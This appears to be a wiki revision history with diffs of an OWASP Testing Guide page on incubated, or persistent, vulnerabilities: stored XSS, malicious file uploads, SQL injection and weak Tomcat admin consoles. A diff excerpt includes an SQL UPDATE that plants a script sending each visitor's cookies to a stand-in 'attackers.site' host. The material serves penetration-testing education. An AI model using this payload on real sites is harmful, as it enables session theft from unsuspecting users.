Testing for Incubated Vulnerability (OTG-INPVAL-015) - Revision history

Andrew Muller: Andrew Muller moved page Testing for Incubated Vulnerability (OTG-INPVAL-016) to Testing for Incubated Vulnerability (OTG-INPVAL-015)

2014-08-08T12:05:05Z

Andrew Muller moved page Testing for Incubated Vulnerability (OTG-INPVAL-016) to Testing for Incubated Vulnerability (OTG-INPVAL-015)

Andrew Muller: Align with Common Numbering

2014-08-05T14:24:08Z

Align with Common Numbering

Andrew Muller at 16:47, 31 July 2014

2014-07-31T16:47:17Z

Andrew Muller: Andrew Muller moved page Testing for Incubated Vulnerability (OWASP-DV-015) to Testing for Incubated Vulnerability (OTG-INPVAL-016): Align with Common Numbering

2014-07-31T14:38:52Z

Andrew Muller moved page Testing for Incubated Vulnerability (OWASP-DV-015) to Testing for Incubated Vulnerability (OTG-INPVAL-016): Align with Common Numbering

Jane O'Connor: Final edit

2014-05-19T10:40:52Z

Final edit

Mmeucci at 15:45, 7 April 2014

2014-04-07T15:45:18Z

David Fern: Updated Burp URL

2012-11-06T17:21:43Z

Updated Burp URL

Mmeucci at 14:53, 9 October 2012

2012-10-09T14:53:37Z

MediaWiki spam cleanup: Reverting to last version not containing links to www.textbolarolleto.com

2009-05-27T18:28:55Z

Reverting to last version not containing links to www.textbolarolleto.com

Deleted user at 15:34, 22 May 2009

2009-05-22T15:34:54Z

@@ Line 20: / Line 20: @@
 * File upload components in a web application, allowing the attacker to upload corrupted media files (jpg images exploiting CVE-2004-0200, png images exploiting CVE-2004-0597, executable files, site pages with active component, etc.)
-* Cross-site scripting issues in public forums posts (see [[Testing_for_Stored_Cross_site_scripting_(OWASP-DV-002)|Testing for Stored Cross_site scripting (OWASP-DV-002)]] for additional details). An attacker could potentially store malicious scripts or code in a repository in the backend of the web-application (e.g., a database) so that this script/code gets executed by one of the users (end users, administrators, etc). The archetypical incubated attack is exemplified by using a cross-site scripting vulnerability in a user forum, bulletin board, or blog in order to inject some JavaScript code at the vulnerable page, and will be eventually rendered and executed at the site user's browser --using the trust level of the original (vulnerable) site at the user's browser.
+* Cross-site scripting issues in public forums posts (see [[Testing_for_Stored_Cross_site_scripting_(OTG-INPVAL-002)|Testing for Stored Cross_site scripting (OTG-INPVAL-002)]] for additional details). An attacker could potentially store malicious scripts or code in a repository in the backend of the web-application (e.g., a database) so that this script/code gets executed by one of the users (end users, administrators, etc). The archetypical incubated attack is exemplified by using a cross-site scripting vulnerability in a user forum, bulletin board, or blog in order to inject some JavaScript code at the vulnerable page, and will be eventually rendered and executed at the site user's browser --using the trust level of the original (vulnerable) site at the user's browser.
 * SQL/XPATH Injection allowing the attacker to upload content to a database, which will be later retrieved as part of the active content in a web page. For example, if the attacker can post arbitrary JavaScript in a bulletin board so that it gets executed by users, then he might take control of their browsers (e.g., [http://sourceforge.net/projects/xss-proxy XSS-proxy]).

@@ Line 2: / Line 2: @@
-== Brief Summary ==
+== Summary ==
-Also often refered to as persistent attacks, incubated testing is a complex testing method that needs more than one data validation vulnerability to work. This section describes a set of examples to test an Incubated Vulnerability.
+Also often refered to as persistent attacks, incubated testing is a complex testing method that needs more than one data validation vulnerability to work. Incubated vulnerabilities are typically used to conduct "watering hole" attacks against users of legitimate web applications.
 * The attack vector needs to be persisted in the first place, it needs to be stored in the persistence layer, and this would only occur if weak data validation was present or the data arrived into the system via another channel such as an admin console or directly via a backend batch process.
 * Secondly, once the attack vector was "recalled" the vector would need to be executed successfully. For example, an incubated XSS attack would require weak output validation so the script would be delivered to the client in its executable form.
 Exploitation of some vulnerabilities, or even functional features of a web application, will allow an attacker to plant a piece of data that will later be retrieved by an unsuspecting user or other component of the system, exploiting some vulnerability there.
@@ Line 21: / Line 20: @@
 * File upload components in a web application, allowing the attacker to upload corrupted media files (jpg images exploiting CVE-2004-0200, png images exploiting CVE-2004-0597, executable files, site pages with active component, etc.)
-* Cross-site scripting issues in public forums posts (see [[Testing for Cross site scripting]] for additional details). An attacker could potentially store malicious scripts or code in a repository in the backend of the web-application (e.g., a database) so that this script/code gets executed by one of the users (end users, administrators, etc). The archetypical incubated attack is exemplified by using a cross-site scripting vulnerability in a user forum, bulletin board, or blog in order to inject some JavaScript code at the vulnerable page, and will be eventually rendered and executed at the site user's browser --using the trust level of the original (vulnerable) site at the user's browser.
+* Cross-site scripting issues in public forums posts (see [[Testing_for_Stored_Cross_site_scripting_(OWASP-DV-002)|Testing for Stored Cross_site scripting (OWASP-DV-002)]] for additional details). An attacker could potentially store malicious scripts or code in a repository in the backend of the web-application (e.g., a database) so that this script/code gets executed by one of the users (end users, administrators, etc). The archetypical incubated attack is exemplified by using a cross-site scripting vulnerability in a user forum, bulletin board, or blog in order to inject some JavaScript code at the vulnerable page, and will be eventually rendered and executed at the site user's browser --using the trust level of the original (vulnerable) site at the user's browser.
 * SQL/XPATH Injection allowing the attacker to upload content to a database, which will be later retrieved as part of the active content in a web page. For example, if the attacker can post arbitrary JavaScript in a bulletin board so that it gets executed by users, then he might take control of their browsers (e.g., [http://sourceforge.net/projects/xss-proxy XSS-proxy]).
@@ Line 28: / Line 27: @@
-== Black Box testing and example ==
+==How to Test==
-===File Upload Example:===
+====File Upload Example====
 Verify the content type allowed to upload to the web application and the resultant URL for the uploaded file. Upload a file that will exploit a component in the local user workstation when viewed or downloaded by the user. Send your victim an email or other kind of alert in order to lead him/her to browse the page. The expected result is the exploit will be triggered when the user browses the resultant page or downloads and executes the file from the trusted site.
-===XSS Example on a Bulletin Board===
+====XSS Example on a Bulletin Board====
 . Introduce ''JavaScript'' code as the value for the vulnerable field, for instance:
@@ Line 52: / Line 53: @@
-===SQL Injection Example===
+====SQL Injection Example====
-Usually, this set of examples leverages XSS attacks by exploiting a SQL-injection vulnerability. The first thing to test is whether the target site has a SQL injection vulnerability. This is described in Section 4.2 [[Testing for SQL Injection  (OWASP-DV-005)|Testing for SQL Injection]]. For each SQL-injection vulnerability, there is an underlying set of constraints describing the kind of queries that the attacker/pen-tester is allowed to do.
+Usually, this set of examples leverages XSS attacks by exploiting a SQL-injection vulnerability. The first thing to test is whether the target site has a SQL injection vulnerability. This is described in Section 4.2 [[Testing for SQL Injection  (OTG-INPVAL-006)|Testing for SQL Injection]]. For each SQL-injection vulnerability, there is an underlying set of constraints describing the kind of queries that the attacker/pen-tester is allowed to do.
@@ Line 72: / Line 73: @@
-===Misconfigured Server===
+====Misconfigured Server====
 Some web servers present an administration interface that may allow an attacker to upload active components of her choice to the site. This could be the case with an Apache Tomcat server that doesn’t enforce strong credentials to access its Web Application Manager (or if the pen testers have been able to obtain valid credentials for the administration module by other means).
@@ Line 82: / Line 83: @@
-== Gray Box testing and example ==
+=== Gray Box testing ===
 Gray/white testing techniques will be the same as previously discussed.
 * Examining input validation is key in mitigating against this vulnerability. If other systems in the enterprise use the same persistence layer they may have weak input validation and the data may be persisited via a "back door".
@@ Line 90: / Line 91: @@
 * See the [[Data Validation %28Code Review%29#Data validation strategy|Data Validation]] section of the Code review guide.
 == References ==
@@ Line 104: / Line 112: @@
 * Web Application Security Consortium "Threat Classification, Cross-site scripting" - http://www.webappsec.org/projects/threat/classes/cross-site_scripting.shtml

@@ Line 7: / Line 7: @@
 * The attack vector needs to be persisted in the first place, it needs to be stored in the persistence layer, and this would only occur if weak data validation was present or the data arrived into the system via another channel such as an admin console or directly via a backend batch process.
 * Secondly, once the attack vector was "recalled" the vector would need to be executed successfully. For example, an incubated XSS attack would require weak output validation so the script would be delivered to the client in its executable form.
 == Short Description of the Issue ==
 Exploitation of some vulnerabilities, or even functional features of a web application, will allow an attacker to plant a piece of data that will later be retrieved by an unsuspecting user or other component of the system, exploiting some vulnerability there.
 In a penetration test, '''incubated attacks''' can be used to assess the criticality of certain bugs, using the particular security issue found to build a client-side based attack that usually will be used to target a large number of victims at the same time (i.e. all users browsing the site).
 This type of asynchronous attack covers a great spectrum of attack vectors, among them the following:
@@ Line 23: / Line 26: @@
 * Misconfigured servers allowing installation of Java packages or similar web site components (i.e. Tomcat, or web hosting consoles such as Plesk, CPanel, Helm, etc.)
 == Black Box testing and example ==
 ===File Upload Example:===
-Verify the content type allowed to upload to the web application and the resultant URL for the uploaded file. Upload a file that will exploit a component in the local user workstation when viewed or downloaded by the user.
+Verify the content type allowed to upload to the web application and the resultant URL for the uploaded file. Upload a file that will exploit a component in the local user workstation when viewed or downloaded by the user. Send your victim an email or other kind of alert in order to lead him/her to browse the page. The expected result is the exploit will be triggered when the user browses the resultant page or downloads and executes the file from the trusted site.
 ===XSS Example on a Bulletin Board===
@@ Line 49: / Line 50: @@
 . Use cookies obtained to impersonate users at the vulnerable site.
 ===SQL Injection Example===
-Usually, this set of examples leverages XSS attacks by exploiting a SQL-injection vulnerability. The first thing to test is whether the target site has a SQL injection vulnerability. This is described in Section 4.2 [[Testing for SQL Injection  (OWASP-DV-005)|Testing for SQL Injection]]. For each SQL-injection vulnerability, there is an underlying set of constraints describing the kind of queries that the attacker/pen-tester is allowed to do. The pen tester then has to match the XSS attacks he has devised with the entries that he is allowed to insert.
+Usually, this set of examples leverages XSS attacks by exploiting a SQL-injection vulnerability. The first thing to test is whether the target site has a SQL injection vulnerability. This is described in Section 4.2 [[Testing for SQL Injection  (OWASP-DV-005)|Testing for SQL Injection]]. For each SQL-injection vulnerability, there is an underlying set of constraints describing the kind of queries that the attacker/pen-tester is allowed to do.
 . In a similar fashion as in the previous XSS example, use a web page field vulnerable to SQL injection issues to change a value in the database that would be used by the application as input to be shown at the site without proper filtering (this would be a combination of an SQL injection and a XSS issue). For instance, let's suppose there is a ''footer'' table at the database with all footers for the web site pages, including a ''notice'' field with the legal notice that appears at the bottom of each web page. You could use the following query to inject JavaScript code to the ''notice'' field at the ''footer'' table in the database.
@@ Line 62: / Line 67: @@
            <nowiki><script>document.write(\'<img src="http://attackers.site/cv.jpg?\'+document.cookie+\'">\')</script>'</nowiki>
        WHERE notice = 'Copyright 1999-2030';
 . Now, each user browsing the site will silently send his cookies to the ''attackers.site'' (steps b.2 to b.4).
 ===Misconfigured Server===
 Some web servers present an administration interface that may allow an attacker to upload active components of her choice to the site. This could be the case with an Apache Tomcat server that doesn’t enforce strong credentials to access its Web Application Manager (or if the pen testers have been able to obtain valid credentials for the administration module by other means).
 In this case, a WAR file can be uploaded and a new web application deployed at the site, which will not only allow the pen tester to execute code of her choice locally at the server, but also to plant an application at the trusted site, which the site regular users can then access (most probably with a higher degree of trust than when accessing a different site).
 As should also be obvious, the ability to change web page contents at the server, via any vulnerabilities that may be exploitable at the host which will give the attacker webroot write permissions, will also be useful towards planting such an incubated attack on the web server pages (actually, this is a known infection-spread method for some web server worms).
 == Gray Box testing and example ==
 Gray/white testing techniques will be the same as previously discussed.
 * Examining input validation is key in mitigating against this vulnerability. If other systems in the enterprise use the same persistence layer they may have weak input validation and the data may be persisited via a "back door".
 * To combat the "back door" issue for client side attacks, output validation must also be employed so tainted data shall be encoded prior to displaying to the client, and hence not execute.
 * See the [[Data Validation %28Code Review%29#Data validation strategy|Data Validation]] section of the Code review guide.
 == References ==
@@ Line 87: / Line 100: @@
 * Blackboard Academic Suite 6.2.23 +/-: Persistent cross-site scripting vulnerability - http://lists.grok.org.uk/pipermail/full-disclosure/2006-July/048059.html
-<br>
 '''Whitepapers'''<br>
@@ Line 99: / Line 112: @@
 * Burp Suite - http://portswigger.net/burp/proxy.html
 * Metasploit - http://www.metasploit.com/

@@ Line 98: / Line 98: @@
 * Paros - http://www.parosproxy.org/index.shtml
 * Burp Suite - http://portswigger.net/burp/proxy.html
 * Metasploit - http://www.metasploit.com/
 ]]

@@ Line 97: / Line 97: @@
 * XSS-proxy - http://sourceforge.net/projects/xss-proxy
 * Paros - http://www.parosproxy.org/index.shtml
-* Burp Suite - http://portswigger.net/suite/
+* Burp Suite - http://portswigger.net/burp/proxy.html
 [[Category:FIXME|links not working

← Older revision	Revision as of 12:05, 8 August 2014
(No difference)

← Older revision	Revision as of 14:38, 31 July 2014
(No difference)

← Older revision		Revision as of 14:53, 9 October 2012
Line 1:		Line 1:
−	{{Template:OWASP Testing Guide v3}}	+	{{Template:OWASP Testing Guide v4}}

@@ Line 1: / Line 1: @@
 {{Template:OWASP Testing Guide v3}}
@@ Line 67: / Line 66: @@
 ===Misconfigured Server===
-Some web servers present an administration interface that may allow an attacker to upload active components of her choice to the site. This could be the case with an Apache Tomcat server that doesnât enforce strong credentials to access its Web Application Manager (or if the pen testers have been able to obtain valid credentials for the administration module by other means).
+Some web servers present an administration interface that may allow an attacker to upload active components of her choice to the site. This could be the case with an Apache Tomcat server that doesn’t enforce strong credentials to access its Web Application Manager (or if the pen testers have been able to obtain valid credentials for the administration module by other means).
 In this case, a WAR file can be uploaded and a new web application deployed at the site, which will not only allow the pen tester to execute code of her choice locally at the server, but also to plant an application at the trusted site, which the site regular users can then access (most probably with a higher degree of trust than when accessing a different site).